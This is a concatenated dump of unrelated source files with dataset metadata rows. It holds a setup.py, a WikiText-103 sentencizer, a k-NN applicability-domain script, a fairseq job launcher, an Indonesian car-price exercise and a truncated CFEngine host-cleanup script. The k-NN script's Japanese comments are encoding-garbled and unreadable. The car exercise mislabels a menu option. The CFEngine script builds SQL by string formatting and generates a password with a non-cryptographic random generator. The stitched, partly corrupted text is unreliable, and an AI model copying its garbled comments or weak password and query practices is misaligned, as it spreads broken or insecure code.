] | 1 | 2021-01-13T02:16:56.000Z | 2021-01-13T02:16:56.000Z | #!/usr/bin/env python3
# -*- encoding: utf-8 -*-
"""
Setup for the dbservice
"""
from setuptools import setup, find_packages
setup(
name='dbservice',
version='0.9',
description="Database service for storing meter data",
author="Sรธren Aagaard Mikkelsen",
author_email='smik@eng.au.dk',
url='https://github.com/dbservice/dbservice',
packages=find_packages(),
package_data={'': ['static/*.*', 'templates/*.*']},
scripts=['manage.py'],
)
| 22.52381 | 58 | 0.646934 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 257 | 0.542194 |
86095983c39bff7a689e2233b004ba39842ac699 | 1,719 | py | Python | language/bert_extraction/steal_bert_classifier/utils/wiki103_sentencize.py | Xtuden-com/language | 70c0328968d5ffa1201c6fdecde45bbc4fec19fc | [
"Apache-2.0"
] | 1,199 | 2018-10-16T01:30:18.000Z | 2022-03-31T21:05:24.000Z | language/bert_extraction/steal_bert_classifier/utils/wiki103_sentencize.py | Xtuden-com/language | 70c0328968d5ffa1201c6fdecde45bbc4fec19fc | [
"Apache-2.0"
] | 116 | 2018-10-18T03:31:46.000Z | 2022-03-24T13:40:50.000Z | language/bert_extraction/steal_bert_classifier/utils/wiki103_sentencize.py | Xtuden-com/language | 70c0328968d5ffa1201c6fdecde45bbc4fec19fc | [
"Apache-2.0"
] | 303 | 2018-10-22T12:35:12.000Z | 2022-03-27T17:38:17.000Z | # coding=utf-8
# Copyright 2018 The Google AI Language Team Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Lint as: python3
"""Sentencize the raw wikitext103."""
import tensorflow.compat.v1 as tf
app = tf.app
flags = tf.flags
gfile = tf.gfile
logging = tf.logging
flags.DEFINE_string("wiki103_raw", None,
"Path to raw wikitext103 train corpus.")
flags.DEFINE_string("output_path", None,
"Path to output the processed dataset.")
FLAGS = flags.FLAGS
def main(_):
with open(FLAGS.wiki103_raw, "r") as f:
data = f.read().strip().split("\n")
data = [x.split(" . ") for x in data if x.strip() and x.strip()[0] != "="]
sentences = []
for para in data:
for sent in para:
sentences.append(sent + ".")
data = "\n".join(sentences)
data = data.replace(" @.@ ", ".").replace(" @-@ ", "-").replace(" ,", ",")
data = data.replace(" \'", "\'").replace(" )", ")").replace("( ", "(")
data = data.replace(" ;", ";")
data = "\n".join([x for x in data.split("\n") if len(x.split()) > 3])
logging.info("length = %d", len(data.split("\n")))
with open(FLAGS.output_path, "w") as f:
f.write(data)
if __name__ == "__main__":
app.run(main)
| 29.135593 | 76 | 0.64107 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 877 | 0.51018 |
860b3ffda1922298f17135c358d64932d9e08e95 | 3,015 | py | Python | sample_program_04_02_knn.py | pepsinal/python_doe_kspub | 65ae5c2d214f1a34fa242fee7d63453c81d56bfe | [
"MIT"
] | 16 | 2021-01-11T17:57:05.000Z | 2022-03-29T07:04:26.000Z | sample_program_04_02_knn.py | pepsinal/python_doe_kspub | 65ae5c2d214f1a34fa242fee7d63453c81d56bfe | [
"MIT"
] | 2 | 2021-08-12T03:18:52.000Z | 2021-08-13T06:31:55.000Z | sample_program_04_02_knn.py | pepsinal/python_doe_kspub | 65ae5c2d214f1a34fa242fee7d63453c81d56bfe | [
"MIT"
] | 14 | 2021-06-05T11:17:45.000Z | 2022-03-26T02:56:40.000Z | # -*- coding: utf-8 -*-
"""
@author: Hiromasa Kaneko
"""
import pandas as pd
from sklearn.neighbors import NearestNeighbors # k-NN
k_in_knn = 5 # k-NN ใซใใใ k
rate_of_training_samples_inside_ad = 0.96 # AD ๅ
ใจใชใใใฌใผใใณใฐใใผใฟใฎๅฒๅใADใใฎใใใๅคใๆฑบใใใจใใซไฝฟ็จ
dataset = pd.read_csv('resin.csv', index_col=0, header=0)
x_prediction = pd.read_csv('resin_prediction.csv', index_col=0, header=0)
# ใใผใฟๅๅฒ
y = dataset.iloc[:, 0] # ็ฎ็ๅคๆฐ
x = dataset.iloc[:, 1:] # ่ชฌๆๅคๆฐ
# ๆจๆบๅๅทฎใ 0 ใฎ็นๅพด้ใฎๅ้ค
deleting_variables = x.columns[x.std() == 0]
x = x.drop(deleting_variables, axis=1)
x_prediction = x_prediction.drop(deleting_variables, axis=1)
# ใชใผใในใฑใผใชใณใฐ
autoscaled_x = (x - x.mean()) / x.std()
autoscaled_x_prediction = (x_prediction - x.mean()) / x.std()
# k-NN ใซใใ AD
ad_model = NearestNeighbors(n_neighbors=k_in_knn, metric='euclidean') # AD ใขใใซใฎๅฎฃ่จ
ad_model.fit(autoscaled_x) # k-NN ใซใใ AD ใงใฏใใใฌใผใใณใฐใใผใฟใฎ x ใ model_ad ใซๆ ผ็ดใใใใจใซๅฏพๅฟ
# ใตใณใใซใใจใฎ k ๆ่ฟๅใตใณใใซใจใฎ่ท้ขใซๅ ใใฆใk ๆ่ฟๅใตใณใใซใฎใคใณใใใฏใน็ชๅทใไธ็ทใซๅบๅใใใใใใๅบๅ็จใฎๅคๆฐใ 2 ใคใซ
# ใใฌใผใใณใฐใใผใฟใงใฏ k ๆ่ฟๅใตใณใใซใฎไธญใซ่ชๅใๅซใพใใ่ชๅใจใฎ่ท้ขใฎ 0 ใ้คใใ่ท้ขใ่ใใๅฟ
่ฆใใใใใใk_in_knn + 1 ๅใจ่จญๅฎ
knn_distance_train, knn_index_train = ad_model.kneighbors(autoscaled_x, n_neighbors=k_in_knn + 1)
knn_distance_train = pd.DataFrame(knn_distance_train, index=autoscaled_x.index) # DataFrameๅใซๅคๆ
mean_of_knn_distance_train = pd.DataFrame(knn_distance_train.iloc[:, 1:].mean(axis=1),
columns=['mean_of_knn_distance']) # ่ชๅไปฅๅคใฎ k_in_knn ๅใฎ่ท้ขใฎๅนณๅ
mean_of_knn_distance_train.to_csv('mean_of_knn_distance_train.csv') # csv ใใกใคใซใซไฟๅญใๅใๅๅใฎใใกใคใซใใใใจใใฏไธๆธใใใใใใๆณจๆ
# ใใฌใผใใณใฐใใผใฟใฎใตใณใใซใฎ rate_of_training_samples_inside_ad * 100 % ใๅซใพใใใใใซใใใๅคใ่จญๅฎ
sorted_mean_of_knn_distance_train = mean_of_knn_distance_train.iloc[:, 0].sort_values(ascending=True) # ่ท้ขใฎๅนณๅใฎๅฐใใ้ ใซไธฆใณๆฟใ
ad_threshold = sorted_mean_of_knn_distance_train.iloc[
round(autoscaled_x.shape[0] * rate_of_training_samples_inside_ad) - 1]
# ใใฌใผใใณใฐใใผใฟใซๅฏพใใฆใAD ใฎไธญใๅคใใๅคๅฎ
inside_ad_flag_train = mean_of_knn_distance_train <= ad_threshold # AD ๅ
ใฎใตใณใใซใฎใฟ TRUE
inside_ad_flag_train.columns=['inside_ad_flag']
inside_ad_flag_train.to_csv('inside_ad_flag_train_knn.csv') # csv ใใกใคใซใซไฟๅญใๅใๅๅใฎใใกใคใซใใใใจใใฏไธๆธใใใใใใๆณจๆ
# ไบๆธฌ็จใใผใฟใซๅฏพใใ k-NN ่ท้ขใฎ่จ็ฎ
knn_distance_prediction, knn_index_prediction = ad_model.kneighbors(autoscaled_x_prediction)
knn_distance_prediction = pd.DataFrame(knn_distance_prediction, index=x_prediction.index) # DataFrameๅใซๅคๆ
mean_of_knn_distance_prediction = pd.DataFrame(knn_distance_prediction.mean(axis=1),
columns=['mean_of_knn_distance']) # k_in_knn ๅใฎ่ท้ขใฎๅนณๅ
mean_of_knn_distance_prediction.to_csv('mean_of_knn_distance_prediction.csv') # csv ใใกใคใซใซไฟๅญใๅใๅๅใฎใใกใคใซใใใใจใใฏไธๆธใใใใใใๆณจๆ
# ไบๆธฌ็จใใผใฟใซๅฏพใใฆใAD ใฎไธญใๅคใใๅคๅฎ
inside_ad_flag_prediction = mean_of_knn_distance_prediction <= ad_threshold # AD ๅ
ใฎใตใณใใซใฎใฟ TRUE
inside_ad_flag_prediction.columns=['inside_ad_flag']
inside_ad_flag_prediction.to_csv('inside_ad_flag_prediction_knn.csv') # csv ใใกใคใซใซไฟๅญใๅใๅๅใฎใใกใคใซใใใใจใใฏไธๆธใใใใใใๆณจๆ
| 49.42623 | 121 | 0.769818 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2,097 | 0.522552 |
860e80203a82d7ffdb492d80f10371c72ae4d44a | 8,231 | py | Python | scripts/adam/cc100_baselines.py | TimDettmers/sched | e16735f2c2eb6a51f5cf29ead534041574034e2e | [
"MIT"
] | 1 | 2020-04-22T17:49:48.000Z | 2020-04-22T17:49:48.000Z | scripts/adam/cc100_baselines.py | TimDettmers/sched | e16735f2c2eb6a51f5cf29ead534041574034e2e | [
"MIT"
] | null | null | null | scripts/adam/cc100_baselines.py | TimDettmers/sched | e16735f2c2eb6a51f5cf29ead534041574034e2e | [
"MIT"
] | null | null | null | import numpy as np
import itertools
import gpuscheduler
import argparse
import os
import uuid
import hashlib
import glob
import math
from itertools import product
from torch.optim.lr_scheduler import OneCycleLR
from os.path import join
parser = argparse.ArgumentParser(description='Compute script.')
parser.add_argument('--dry', action='store_true')
parser.add_argument('--verbose', action='store_true')
parser.add_argument('--p', type=float, default=1.0, help='Probability with which to select a configuration.')
args = parser.parse_args()
gpus = 128
cmd = 'fairseq-train /private/home/namangoyal/dataset/data-bin/bookwiki_CC-NEWS_openwebtext_stories_cc100-mmap2-bin --distributed-world-size {0} --distributed-port 54187 --fp16 --memory-efficient-fp16 --num-workers 2 --criterion cross_entropy --task language_modeling --sample-break-mode none --log-interval 25 --tokens-per-sample 1024 --arch transformer_lm_big --share-decoder-input-output-embed --decoder-layers 28 --decoder-attention-heads 16 --dropout 0.0 --attention-dropout 0.0 --activation-dropout 0.0 --activation-fn relu --no-epoch-checkpoints --keep-best-checkpoints 0 --keep-interval-updates 0 --keep-last-epochs 0 --save-interval-updates 1000 --log-format simple --fp16-no-flatten-grads --ignore-unused-valid-subsets'.format(gpus)
args2 = {}
name = 'blockwise5'
constraint = 'volta32gb'
# 1024 tokens * 8 update_freq * 56250 steps = 0.4608e9 tokens -> optimal batch size 3460
# model sizes: 1.92bn, 2.43bn, 1.41bn
logfolder = 'adam/cc100/{0}'.format(name)
ckp_name = logfolder
#time_hours = 24*2
cores_per_job = 5
mem = 56*(8 if gpus > 8 else gpus)
num_seeds = 1
seed_offset = 5
time_hours = 72
time_minutes = 0
#partition = 'learnlab,learnfair,scavenge'
partition = 'learnfair,learnlab'
#partition = 'learnfair'
#partition = 'uninterruptible'
change_dir = 'fairseq_private'
repo = 'fairseq_private'
exclude = ''
s = gpuscheduler.HyakScheduler(verbose=args.verbose, account='', partition=partition, use_gres=False)
fp16 = True
args3 = {}
args2['lr-scheduler'] = 'polynomial_decay'
args2['warmup-updates'] = 2000
args2['max-update'] = 56250
args2['total-num-update'] = 56250
#args2['lr-scheduler'] = 'cosine'
#args2['warmup-updates'] = 3000
#args2['max-update'] = 56250*4
args2['fp16-scale-window'] = 250
args2['clip-norm'] = 0.4
#args3[('fused', 'adam-bits', 'adam8bits-method', 'adam8bits-qfreq')] = [(True, 32, 'quantile', 1), (False, 8, 'quantile', 1), (False, 8, 'dynamic_tree', 1), (False, 8, 'quantile', 25)]
#args3[('fused', 'adam-bits', 'adam8bits-method', 'adam8bits-qfreq')] = [(True, 32, 'quantile', 1)]#, (False, 8, 'quantile', 1), (False, 8, 'dynamic_tree', 1), (False, 8, 'quantile', 25)]
#args3[('fused', 'adam-bits', 'adam8bits-method', 'adam8bits-qfreq')] = [(True, 32, 'quantile', 1)]
#args3['adam8bits-offset'] = [1/512]
#args3['prob-quant'] = [False]
#args3['dist-scale'] = [1.0]
#args3[('percentile-clipping', 'clip-norm')] = [(100, 0.1)]
#args3['decoder-embed-dim'] = [2048+256]
#args3['decoder-ffn-embed-dim'] = [8192+2048]
#args3['max-tokens'] = [3072]
#args3['update-freq'] = [2]
key = ('max-tokens', 'decoder-embed-dim', 'decoder-ffn-embed-dim', 'update-freq', 'lr')
#key = ('max-tokens', 'decoder-embed-dim', 'decoder-ffn-embed-dim', 'update-freq')
args3[key] = []
#lrkey = ('lr', 'warmup-init-lr')
#args3[lrkey] = []
# 32-bit baseline
#args3['optimizer'] = ['adam']
#args3[('percentile-clipping', 'clip-norm')] = [(100, 0.1)]
#args3[('fused', 'adam-bits', 'adam8bits-method', 'adam8bits-qfreq')] = [(True, 32, 'quantile', 1)]
##args3[key].append((2048,2048,8192,8, 0.00075))
#args3[key].append((2048,2048,8192,2))
#
#lr = 0.003239 + (-0.0001395*math.log(1.41e9))
#args3[lrkey].append((lr, lr+1e-8, lr*0.1, lr*0.1 + 1e-8))
# adafactor
#args3[('percentile-clipping', 'clip-norm')] = [(100, 0.1)]
#args3[('fused', 'adam-bits', 'adam8bits-method', 'adam8bits-qfreq')] = [(False, 32, 'quantile', 1)]
#args2['optimizer'] = 'adafactor'
#args2['beta1'] = 0.9
#args2['decay-rate'] = 0.999
##args3[key].append((2048,2048,8192,8, 0.00075))
#args3[key].append((2048,2048+256,8192+2048,2))
##args3[key].append((2048,2688,10752,2))
#
#lr = 0.003239 + (-0.0001395*math.log(1.92e9))
#args3[lrkey].append((lr, lr+1e-8, lr*0.1, lr*0.1 + 1e-8))
# 8-bit
#args3[('percentile-clipping', 'clip-norm')] = [(100, 0.1)]
#args3[('percentile-clipping', 'clip-norm')] = [(100, 0.1)]
#args3[('percentile-clipping', 'clip-norm')] = [(5, 0.0)]
#args3[('fused', 'adam-bits', 'adam8bits-method', 'adam8bits-qfreq')] = [(False, 8, 'quantile', 1)]
#args3[('fused', 'adam-bits', 'adam8bits-method', 'adam8bits-qfreq')] = [(False, 8, 'dynamic_tree', 1)]
#args3[('fused', 'adam-bits', 'adam8bits-method', 'adam8bits-qfreq')] = [(False, 8, 'dynamic_tree', 1), (False, 8, 'quantile', 1)]
args3['optimizer'] = ['adam']
args3[('use-bnb', 'optim-bits')] = [(True, 8)]
args3[('stable-emb', 'no-scale-embedding')] = [(True, True)]
#args3[('use-bnb', 'stable-emb', 'no-scale-embedding')] = [(True, True, True), (False, False, False)]
#args3[('use-bnb', 'stable-emb', 'no-scale-embedding')] = [(False, False, False)]
#args3[('use-bnb', 'stable-emb', 'no-scale-embedding', 'optim-bits')] = [(True, True, True, True)]
args3[key].append((2048,2048,8192,8, 0.00075))
#args3[key].append((2048,2048,8192,8, 0.00045))
#args3[key].append((2048,2688,10752,2))
#args3['use-emb-norm'] = [True]
#lr = 0.003239 + (-0.0001395*math.log(2.43e9))
#args3[lrkey].append((lr, 0.0))
#args2['train-subset'] = 'train11'
args4 = []
args5 = {}
args6 = {}
rdm = np.random.RandomState(5345)
for key, value in args2.items():
cmd = cmd + ' --{0} {1}'.format(key, value)
args_prod = []
for key, values in args3.items():
if isinstance(key, tuple):
keyvalues = []
for tups in values:
arg = ''
for i, v in enumerate(tups):
if v is True: v = ''
if v is False: continue
if len(key[i]) == 0:
arg += '{0} '.format(v)
else:
arg += '--{0} {1} '.format(key[i], v)
keyvalues.append(arg)
elif isinstance(key, str):
keyvalues = []
for v in values:
if v is True: v = ''
if v is False:
keyvalues.append('')
else:
keyvalues.append(' --{0} {1}'.format(key, v))
args_prod.append(keyvalues)
if len(args_prod) >= 2:
args_prod = list(product(*args_prod))
else:
new_args = []
if len(args_prod) > 0:
for arg in args_prod[0]:
new_args.append([arg])
args_prod = new_args
jobs = []
if len(args4) == 0: args4.append('')
for seed in range(num_seeds):
seed = seed + seed_offset
for arg4 in args4:
if len(args_prod) == 0: args_prod.append(('', ''))
for i, values in enumerate(args_prod):
job_cmd = cmd + arg4
for val in values:
job_cmd += ' {0}' .format(val)
#job_cmd += ' --checkpoint /checkpoint/timdettmers/{1}/{0}/model.pt'.format(hashlib.md5(str(job_cmd).encode('utf-8')).hexdigest(), ckp_name)
if not fp16: job_cmd = job_cmd.replace('--fp16 ', ' ')
job_cmd = job_cmd + ' --seed {0}'.format(seed)
checkpoint_dir = '/checkpoint/timdettmers/{1}/{0} '.format(hashlib.md5(str(job_cmd).encode('utf-8')).hexdigest(), ckp_name)
save_dir = ' --save-dir {0}'.format(checkpoint_dir)
job_cmd = job_cmd + save_dir
cmds = [job_cmd]
if rdm.rand(1) <= args.p:
jobs.append(job_cmd)
s.add_job(logfolder, repo, change_dir, cmds, time_hours, fp16, cores=cores_per_job, mem=mem, constraint=constraint, exclude=exclude, time_minutes=time_minutes, gpus=gpus)
if args.dry:
for i, job in enumerate(jobs):
print(i, job)
print('')
print('Total jobs', len(jobs))
print('Time hours: {0}'.format(time_hours))
print('GPUs: {0}'.format(gpus))
print('Jobs will be written to: {0}'.format(join('/private/home/timdettmers/logs/', logfolder)))
print('Jobs will be run on: {0}'.format(partition))
print('Run in folder: {0}'.format(change_dir))
if not args.dry:
s.run_jobs()
| 37.756881 | 773 | 0.628721 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4,793 | 0.582311 |
861a472cf4ef7f924185a3fe1ea6569338502257 | 2,041 | py | Python | Pyshare2019/02 - if + Nesteed if/Nesteed-IF.py | suhaili99/python-share | 6c65faaff722b8bd9e381650a6b277f56d1ae4c9 | [
"MIT"
] | 4 | 2019-10-21T11:00:55.000Z | 2020-10-22T16:11:21.000Z | Pyshare2019/02 - if + Nesteed if/Nesteed-IF.py | suhaili99/python-share | 6c65faaff722b8bd9e381650a6b277f56d1ae4c9 | [
"MIT"
] | 1 | 2019-12-17T05:20:26.000Z | 2019-12-17T05:20:26.000Z | Pyshare2019/02 - if + Nesteed if/Nesteed-IF.py | suhaili99/python-share | 6c65faaff722b8bd9e381650a6b277f56d1ae4c9 | [
"MIT"
] | 9 | 2019-10-20T05:48:03.000Z | 2020-11-17T14:08:14.000Z | name = input("masukkan nama pembeli = ")
alamat= input("Alamat = ")
NoTelp = input("No Telp = ")
print("\n")
print("=================INFORMASI HARGA MOBIL DEALER JAYA ABADI===============")
print("Pilih Jenis Mobil :")
print("\t 1.Daihatsu ")
print("\t 2.Honda ")
print("\t 3.Toyota ")
print("")
pilihan = int(input("Pilih jenis mobil yang ingin dibeli : "))
print("")
if (pilihan==1):
print("<<<<<<<< Macam macam mobil pada Daihatsu >>>>>>>>>")
print("\ta.Grand New Xenia")
print("\tb.All New Terios")
print("\tc.New Ayla")
Pilih1 = input("Mana yang ingin anda pilih ?? = ")
if(Pilih1 == "a"):
print("Harga mobil Grand New Xenia adalah 183 juta ")
elif(Pilih1== "b"):
print("Harga mobil All New Terios adalah 215 juta")
elif(Pilih1== "c"):
print("Harga mobil New Ayla adalah 110 juta")
else:
print("Tidak terdefinisi")
elif (pilihan==2):
print("<<<<<<<< Macam macam mobil pada Honda >>>>>>>>>")
print("\ta.Honda Brio Satya S")
print("\tb.Honda Jazz ")
print("\tb.Honda Mobilio ")
pilih2 = input("Mana yang ingin anda pilih??")
if(pilih2=="a"):
print("Harga mobil HOnda Brio Satya S adalah 131 juta")
elif(pilih2=="b"):
print("Harga mobil Honda Jazz adalah 232 juta")
elif(pilih2=="c"):
print("Harga mobil Honda mobilio adalah 189 juta")
else:
print("Tidak terdefinisi")
elif (pilihan==3):
print("<<<<<<<< Macam macam mobil pada Toyota>>>>>>>>?")
print("\ta.Alphard")
print("\tb.Camry")
print("\tc.Fortuner")
pilih3 = input("Mana yang ingin anda pilih??")
if (pilih3=="a"):
print("Harga mobil Alphard adalah 870 juta")
elif (pilih3=="b"):
print("Harga mobil Camry adalah 560 Juta")
elif (pilih3=="c"):
print("Harga mobil Fortuner adalah 492 Juta")
| 34.59322 | 80 | 0.529152 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,066 | 0.522293 |
861f13a8761f8f22a82c122d42219d7e56bf820e | 14,650 | py | Python | templates/federated_reporting/distributed_cleanup.py | olehermanse/masterfiles | bcee0a8c0a925e885ba47ba3300b96c722b91f02 | [
"MIT"
] | 44 | 2015-01-12T05:26:46.000Z | 2021-08-24T02:47:19.000Z | templates/federated_reporting/distributed_cleanup.py | olehermanse/masterfiles | bcee0a8c0a925e885ba47ba3300b96c722b91f02 | [
"MIT"
] | 1,104 | 2015-01-02T08:17:57.000Z | 2022-03-31T15:58:37.000Z | templates/federated_reporting/distributed_cleanup.py | Lex-2008/masterfiles | b43c44af2c4e544ff7d044e76580ced2168ce5e0 | [
"MIT"
] | 79 | 2015-01-05T19:13:03.000Z | 2021-08-25T07:57:31.000Z | #!/usr/bin/env python3
"""
fr_distributed_cleanup.py - a script to remove hosts which have migrated to
other feeder hubs. To be run on Federated Reporting superhub
after each import of feeder data.
First, to setup, enable fr_distributed_cleanup by setting a class in augments (def.json).
This enables policy in cfe_internal/enterprise/federation/federation.cf
```json
{
"classes": {
"cfengine_mp_enable_fr_distributed_cleanup": [ "any::" ]
}
}
```
After the policy has run on superhub and feeders, run this script
to setup fr_distributed_cleanup role and account on all feeders and superhubs with
proper RBAC settings for normal operation.
You will be prompted for superhub admin credentials and then
admin credentials on each feeder.
"""
import argparse
import logging
import os
import platform
import string
import random
import subprocess
import sys
from getpass import getpass
from nova_api import NovaApi
from cfsecret import read_secret, write_secret
WORKDIR = None
CFE_FR_TABLES = None
# get WORKDIR and CFE_FR_TABLES from config.sh
config_sh_path = os.path.join(os.path.dirname(__file__), "config.sh")
cmd = "source {}; echo $WORKDIR; echo $CFE_FR_TABLES".format(config_sh_path)
with subprocess.Popen(
cmd, stdout=subprocess.PIPE, shell=True, executable="/bin/bash"
) as proc:
lines = proc.stdout.readlines()
WORKDIR = lines[0].decode().strip()
CFE_FR_TABLES = [table.strip() for table in lines[1].decode().split()]
if not WORKDIR or not CFE_FR_TABLES:
print("Unable to get WORKDIR and CFE_FR_TABLES values from config.sh")
sys.exit(1)
# Primary dir in which to place various needed files
DISTRIBUTED_CLEANUP_DIR = "/opt/cfengine/federation/cftransport/distributed_cleanup"
# collect cert files from /var/cfengine/httpd/ssl/certs on
# superhub and feeders and cat all together into hubs.cert
CERT_PATH = os.path.join(DISTRIBUTED_CLEANUP_DIR, "hubs.cert")
# Note: remove the file at DISTRIBUTED_CLEANUP_SECRET_PATH to reset everything.
# api calls will overwrite fr_distributed_cleanup user and role on superhub and all feeders.
DISTRIBUTED_CLEANUP_SECRET_PATH = os.path.join(WORKDIR, "state/fr_distributed_cleanup.cfsecret")
def interactive_setup():
fr_distributed_cleanup_password = "".join(random.choices(string.printable, k=20))
admin_pass = getpass(
prompt="Enter admin password for superhub {}: ".format(platform.node())
)
api = NovaApi(api_user="admin", api_password=admin_pass)
# first confirm that this host is a superhub
status = api.fr_hub_status()
if (
status["status"] == 200
and status["role"] == "superhub"
and status["configured"]
):
logger.debug("This host is a superhub configured for Federated Reporting.")
else:
if status["status"] == 401:
print("admin credentials are incorrect, try again")
sys.exit(1)
else:
print(
"Check the status to ensure role is superhub and configured is True. {}".format(
status
)
)
sys.exit(1)
feederResponse = api.fr_remote_hubs()
if not feederResponse["hubs"]:
print(
"No attached feeders. Please attach at least one feeder hub before running this script."
)
sys.exit(1)
email = input("Enter email for fr_distributed_cleanup accounts: ")
logger.info("Creating fr_distributed_cleanup role on superhub...")
response = api.put(
"role",
"fr_distributed_cleanup",
{
"description": "fr_distributed_cleanup Federated Host Cleanup role",
"includeContext": "cfengine",
},
)
if response["status"] != 201:
print(
"Problem creating fr_distributed_cleanup role on superhub. {}".format(
response
)
)
sys.exit(1)
response = api.put_role_permissions(
"fr_distributed_cleanup", ["query.post", "remoteHub.list", "hubStatus.get"]
)
if response["status"] != 201:
print("Unable to set RBAC permissions on role fr_distributed_cleanup")
sys.exit(1)
logger.info("Creating fr_distributed_cleanup user on superhub")
response = api.put(
"user",
"fr_distributed_cleanup",
{
"description": "fr_distributed_cleanup Federated Host Cleanup user",
"email": "{}".format(email),
"password": "{}".format(fr_distributed_cleanup_password),
"roles": ["fr_distributed_cleanup"],
},
)
if response["status"] != 201:
print(
"Problem creating fr_distributed_cleanup user on superhub. {}".format(
response
)
)
sys.exit(1)
for hub in feederResponse["hubs"]:
feeder_credentials = getpass(
prompt="Enter admin credentials for {} at {}: ".format(
hub["ui_name"], hub["api_url"]
)
)
feeder_hostname = hub["ui_name"]
feeder_api = NovaApi(
api_user="admin",
api_password=feeder_credentials,
cert_path=CERT_PATH,
hostname=feeder_hostname,
)
logger.info("Creating fr_distributed_cleanup role on %s", feeder_hostname)
response = feeder_api.put(
"role",
"fr_distributed_cleanup",
{
"description": "fr_distributed_cleanup Federated Host Cleanup role",
"includeContext": "cfengine",
},
)
if response["status"] != 201:
print(
"Problem creating fr_distributed_cleanup role on superhub. {}".format(
response
)
)
sys.exit(1)
response = feeder_api.put_role_permissions(
"fr_distributed_cleanup", ["host.delete"]
)
if response["status"] != 201:
print("Unable to set RBAC permissions on role fr_distributed_cleanup")
sys.exit(1)
logger.info("Creating fr_distributed_cleanup user on %s", feeder_hostname)
response = feeder_api.put(
"user",
"fr_distributed_cleanup",
{
"description": "fr_distributed_cleanup Federated Host Cleanup user",
"email": "{}".format(email),
"password": "{}".format(fr_distributed_cleanup_password),
"roles": ["fr_distributed_cleanup"],
},
)
if response["status"] != 201:
print(
"Problem creating fr_distributed_cleanup user on {}. {}".format(
feeder_hostname, response
)
)
sys.exit(1)
write_secret(DISTRIBUTED_CLEANUP_SECRET_PATH, fr_distributed_cleanup_password)
def main():
if not os.geteuid() == 0:
sys.exit("\n{} must be run as root".format(os.path.basename(__file__)))
parser = argparse.ArgumentParser(
description="Clean up migrating clients in Federated Reporting setup"
)
group = parser.add_mutually_exclusive_group()
group.add_argument("--debug", action="store_true")
group.add_argument("--inform", action="store_true")
args = parser.parse_args()
global logger
logger = logging.getLogger("fr_distributed_cleanup")
ch = logging.StreamHandler()
if args.debug:
logger.setLevel(logging.DEBUG)
ch.setLevel(logging.DEBUG)
if args.inform:
logger.setLevel(logging.INFO)
ch.setLevel(logging.INFO)
logger.addHandler(ch)
if not os.path.exists(DISTRIBUTED_CLEANUP_SECRET_PATH):
if sys.stdout.isatty():
interactive_setup()
else:
print(
"{} requires manual setup, please run as root interactively.".format(
os.path.basename(__file__)
)
)
sys.exit(1)
fr_distributed_cleanup_password = read_secret(DISTRIBUTED_CLEANUP_SECRET_PATH)
api = NovaApi(
api_user="fr_distributed_cleanup", api_password=fr_distributed_cleanup_password
) # defaults to localhost
response = api.fr_hub_status()
if not (
response["status"] == 200
and response["role"] == "superhub"
and response["configured"]
):
print(
"{} can only be run on a Federated Reporting hub configured to be superhub".format(
os.path.basename(__file__)
)
)
sys.exit(1)
response = api.fr_remote_hubs()
if not response["hubs"]:
print(
"No attached feeders. Please attach at least one feeder hub before running this script."
)
for hub in response["hubs"]:
if hub["role"] != "feeder" or hub["target_state"] != "on":
continue
feeder_hostkey = hub["hostkey"]
feeder_hostname = hub["ui_name"]
feeder_api = NovaApi(
api_user="fr_distributed_cleanup",
api_password=fr_distributed_cleanup_password,
cert_path=CERT_PATH,
hostname=feeder_hostname,
)
response = feeder_api.status()
if response["status"] != 200:
print(
"Unable to get status for feeder {}. Skipping".format(feeder_hostname)
)
continue
sql = "SELECT hub_id FROM __hubs WHERE hostkey = '{}'".format(feeder_hostkey)
response = api.query(sql)
if response["status"] != 200:
print("Unable to query for feeder hub_id. Response was {}".format(response))
continue
# query API should return one row, [0], and one column, [0], in rows value
feeder_hubid = response["rows"][0][0]
sql = """
SELECT DISTINCT hosts.hostkey
FROM hosts
WHERE hub_id = '{0}'
AND EXISTS(
SELECT 1 FROM lastseenhosts ls
JOIN (
SELECT hostkey, max(lastseentimestamp) as newesttimestamp
FROM lastseenhosts
WHERE lastseendirection = 'INCOMING'
GROUP BY hostkey
) as newest
ON ls.hostkey = newest.hostkey
AND ls.lastseentimestamp = newest.newesttimestamp
AND ls.hostkey = hosts.hostkey
AND ls.hub_id != '{0}'
)""".format(
feeder_hubid
)
response = api.query(sql)
if response["status"] != 200:
print(
"Unable to query for deletion candidates. Response was {}".format(
response
)
)
sys.exit(1)
logger.debug("Hosts to delete on %s are %s", hub["ui_name"], response["rows"])
hosts_to_delete = response["rows"]
if len(hosts_to_delete) == 0:
logger.info("%s: No hosts to delete. No actions taken.", feeder_hostname)
continue
logger.debug(
"%s host(s) to delete on feeder %s", len(hosts_to_delete), hub["ui_name"]
)
# build up a post-loop SQL statement to delete hosts locally from feeder schemas
# change to feeder schema to make deletions easier/more direct without having to
# specify hub_id in queries
post_sql = "set schema 'hub_{}';\n".format(feeder_hubid)
post_sql += "\\set ON_ERROR STOP on\n"
delete_sql = ""
post_hostkeys = []
for row in hosts_to_delete:
# The query API returns rows which are lists of column values.
# We only selected hostkey so will take the first value.
host_to_delete = row[0]
response = feeder_api.delete("host", host_to_delete)
# both 202 Accepted and 404 Not Found are acceptable responses
if response["status"] not in [202, 404]:
logger.warning(
"Delete %s on feeder %s got %s status code",
host_to_delete,
feeder_hostname,
response["status"],
)
continue
# only add the host_to_delete if it was successfully deleted on the feeder
post_hostkeys.append(host_to_delete)
if len(post_hostkeys) == 0:
logger.info(
"No hosts on feeder %s need processing on superhub so skipping post processing",
feeder_hostname,
)
continue
# simulate the host api delete process by setting current_timestamp in deleted column
# and delete from all federated tables similar to the clear_hosts_references() pgplsql function.
post_sql += "INSERT INTO __hosts (hostkey,deleted) VALUES"
for hostkey in post_hostkeys:
delete_sql += "('{}', CURRENT_TIMESTAMP) ".format(hostkey)
delete_sql += (
"ON CONFLICT (hostkey,hub_id) DO UPDATE SET deleted = excluded.deleted;\n"
)
